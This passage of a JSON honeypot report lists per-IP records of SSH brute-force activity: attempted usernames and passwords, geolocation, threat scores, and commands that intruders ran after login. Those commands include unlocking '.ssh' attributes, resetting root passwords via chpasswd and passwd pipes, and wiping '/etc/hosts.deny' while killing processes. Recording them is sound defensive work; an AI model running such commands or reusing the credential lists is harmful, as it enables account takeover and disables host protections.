        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 273,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:14:56.862000+00:00",
        "last_seen_30d": "2026-03-27T15:15:38.864000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 77
      }
    },
    "103.76.120.81": {
      "attack_count": 193,
      "first_seen": "2026-03-12T01:07:01.207Z",
      "last_seen": "2026-03-12T01:31:26.323Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "bitrix",
        "student5",
        "api",
        "boom",
        "hassan",
        "michele",
        "n8n",
        "root",
        "sam",
        "viewtinet",
        "zy"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "21ops.com",
        "Bitrix123!",
        "Student5123!",
        "hassan123",
        "n8n",
        "viewtinet123!",
        "zy123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Bitrix123!\\naUbbrDtwZ8Wb\\naUbbrDtwZ8Wb\\n\"|passwd",
        "echo \"Student5123!\\nAxlwHPnysbOw\\nAxlwHPnysbOw\\n\"|passwd",
        "echo -e \"Bitrix123!\\naUbbrDtwZ8Wb\\naUbbrDtwZ8Wb\"|passwd|bash",
        "echo -e \"Student5123!\\nAxlwHPnysbOw\\nAxlwHPnysbOw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T01:07:01.207000+00:00",
        "last_seen_30d": "2026-03-12T01:32:34.526000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 36
      }
    },
    "165.154.6.153": {
      "attack_count": 177,
      "first_seen": "2026-03-03T20:37:37.430Z",
      "last_seen": "2026-03-03T21:04:52.449Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@QW34er",
        "12121212",
        "12344",
        "1qazXSW@3edcVFR$",
        "Bingo@1993",
        "Gfhjkm123456",
        "Qweasd123!@#",
        "Qwerty@1",
        "parker",
        "test01",
        "testpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:WRZDBchFPox6\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:37:37.430000+00:00",
        "last_seen_30d": "2026-03-03T21:05:58.696000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 177,
        "Suricata": 44
      }
    },
    "43.166.136.253": {
      "attack_count": 168,
      "first_seen": "2026-03-29T09:12:11.066Z",
      "last_seen": "2026-03-29T10:14:09.856Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123123.com",
        "1Changeme",
        "1q2w3e4",
        "1qazxcvbnmko0",
        "3245gs5662d34",
        "345gs5662d34",
        "3e4r5t6y",
        "7758258",
        "888666",
        "Ali@2024",
        "Cs123456789",
        "Jn123456",
        "asd123$",
        "founder123",
        "h3lpm3",
        "host123456",
        "nihao123456",
        "nikki",
        "password_2",
        "qwerty88"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:seoZLWhznlix\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T09:12:11.066000+00:00",
        "last_seen_30d": "2026-03-29T10:15:13.051000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 54
      }
    },
    "103.62.152.202": {
      "attack_count": 124,
      "first_seen": "2026-03-10T23:34:24.281Z",
      "last_seen": "2026-03-10T23:58:56.785Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "java",
        "root",
        "345gs5662d34",
        "alfred",
        "clawd",
        "es",
        "innova",
        "pedro",
        "super",
        "temp",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123!!",
        "Asdf@1234",
        "Java123!",
        "alfred",
        "elastic",
        "innova",
        "pedro1234",
        "ubuntu@2026"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Java123!\\nfwVM6Ej4Ybdd\\nfwVM6Ej4Ybdd\\n\"|passwd",
        "echo -e \"Java123!\\nfwVM6Ej4Ybdd\\nfwVM6Ej4Ybdd\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cagayan de Oro",
      "asn": 134788,
      "as_org": "Parasat Cable TV, Inc",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:34:24.281000+00:00",
        "last_seen_30d": "2026-03-11T00:00:00.508000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "103.101.216.74": {
      "attack_count": 119,
      "first_seen": "2026-03-09T17:29:18.436Z",
      "last_seen": "2026-03-09T17:53:58.464Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "ftpuser",
        "345gs5662d34",
        "bbb",
        "boom",
        "francisco",
        "ftpuser01",
        "new",
        "nikhil",
        "rsync",
        "ubuntu22",
        "wiki"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Bbb123!",
        "Francisco123",
        "Ftpuser01123!",
        "Wiki123!",
        "boompass",
        "ubuntu22123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1\\ncziCYMg4vG1N\\ncziCYMg4vG1N\\n\"|passwd",
        "echo -e \"1\\ncziCYMg4vG1N\\ncziCYMg4vG1N\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Sungaibamban",
      "asn": 150941,
      "as_org": "PT Duta Trans Nusantara Network",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:29:18.436000+00:00",
        "last_seen_30d": "2026-03-09T17:55:02.637000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "189.147.237.190": {
      "attack_count": 119,
      "first_seen": "2026-03-09T01:42:14.272Z",
      "last_seen": "2026-03-09T02:01:55.635Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "debian",
        "julian",
        "345gs5662d34",
        "administrator",
        "bodega",
        "erpnext",
        "guest",
        "james",
        "root",
        "zhangjh"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Julian123",
        "Welcome@2024",
        "debian",
        "debianpass",
        "erpnext",
        "guest01",
        "james"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Julian123\\nSgcRic3W7a55\\nSgcRic3W7a55\\n\"|passwd",
        "echo -e \"Julian123\\nSgcRic3W7a55\\nSgcRic3W7a55\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Benito Juarez",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T01:42:14.272000+00:00",
        "last_seen_30d": "2026-03-09T02:03:00.881000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "212.154.234.9": {
      "attack_count": 119,
      "first_seen": "2026-03-20T16:07:19.307Z",
      "last_seen": "2026-03-20T16:28:56.292Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "user3",
        "345gs5662d34",
        "astro",
        "certftp",
        "ftb",
        "gera",
        "jun",
        "mqtt",
        "openvpn",
        "root",
        "student5"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Astro123!",
        "certftp1234",
        "ftb1234",
        "junpass",
        "openvpn123",
        "ubuntu1",
        "user3pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"user3pass\\nZkL4ZxUReekF\\nZkL4ZxUReekF\\n\"|passwd",
        "echo -e \"user3pass\\nZkL4ZxUReekF\\nZkL4ZxUReekF\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Astana",
      "asn": 50482,
      "as_org": "JSC Kazakhtelecom",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T16:07:19.307000+00:00",
        "last_seen_30d": "2026-03-20T16:29:58.114000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 29
      }
    },
    "51.254.133.71": {
      "attack_count": 118,
      "first_seen": "2026-03-03T22:11:37.138Z",
      "last_seen": "2026-03-03T22:35:00.433Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123123Aa",
        "123456qwerty",
        "1qa@WS3ed",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123456",
        "PAssw0rd",
        "Pa$$w0rd",
        "Wt123456",
        "aa748749",
        "lol",
        "nihao123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:T9hvtFiIVKwt\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T22:11:37.138000+00:00",
        "last_seen_30d": "2026-03-03T22:36:04.354000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "31.170.22.206": {
      "attack_count": 115,
      "first_seen": "2026-03-02T01:47:38.266Z",
      "last_seen": "2026-03-04T22:38:22.933Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "ddd",
        "authority",
        "ftp1"
      ],
      "passwords_attempted": [
        "ddd",
        "authority",
        "ftp1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": null,
      "asn": 43513,
      "as_org": "Sia Nano IT",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T01:47:38.266000+00:00",
        "last_seen_30d": "2026-03-04T22:39:30.166000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 115,
        "Suricata": 69
      }
    },
    "51.178.43.161": {
      "attack_count": 109,
      "first_seen": "2026-03-04T07:57:24.188Z",
      "last_seen": "2026-03-04T08:22:27.153Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456Dd",
        "1q2w3e4R",
        "@123456",
        "Bingo@1993",
        "Jj123456",
        "Kevin123",
        "Qweasd123",
        "admin@2023",
        "interser123",
        "qwer12#$",
        "qwert123$"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:57:24.188000+00:00",
        "last_seen_30d": "2026-03-04T08:23:31.653000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 109,
        "Suricata": 39
      }
    },
    "84.50.142.247": {
      "attack_count": 73,
      "first_seen": "2026-03-03T20:49:58.617Z",
      "last_seen": "2026-03-03T21:16:28.978Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "Dd123456",
        "Qaz@123456",
        "Reza@123",
        "adm12345",
        "admin1234!",
        "admin2022.",
        "esther1",
        "q123456789",
        "raspberry",
        "setup123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Estonia",
      "country_code": "EE",
      "city": "Tallinn",
      "asn": 3249,
      "as_org": "Telia Eesti AS",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:49:58.617000+00:00",
        "last_seen_30d": "2026-03-03T21:17:38.404000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 31
      }
    },
    "209.38.123.218": {
      "attack_count": 70,
      "first_seen": "2026-03-14T16:19:28.446Z",
      "last_seen": "2026-03-14T16:34:52.401Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "admin",
        "admin123",
        "password",
        "password1",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T16:19:28.446000+00:00",
        "last_seen_30d": "2026-03-14T16:35:58.779000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 30
      }
    },
    "61.53.120.109": {
      "attack_count": 50,
      "first_seen": "2026-03-24T00:05:06.595Z",
      "last_seen": "2026-03-24T00:10:30.889Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T00:05:06.595000+00:00",
        "last_seen_30d": "2026-03-24T00:11:35.488000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "103.18.14.221": {
      "attack_count": 38,
      "first_seen": "2026-03-25T14:39:08.055Z",
      "last_seen": "2026-03-25T14:43:14.313Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 40.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.4,
        "persistence": 10.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 13,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-13T10:41:59+00:00",
        "last_seen_30d": "2026-03-25T14:44:21.910000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Cowrie": 38,
        "Honeytrap": 25
      }
    },
    "118.127.40.41": {
      "attack_count": 33,
      "first_seen": "2026-03-02T00:01:24.033Z",
      "last_seen": "2026-03-02T00:06:55.473Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123qwe!@#",
        "1qaz2WSX@",
        "3245gs5662d34",
        "345gs5662d34",
        "azsxdcfv"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
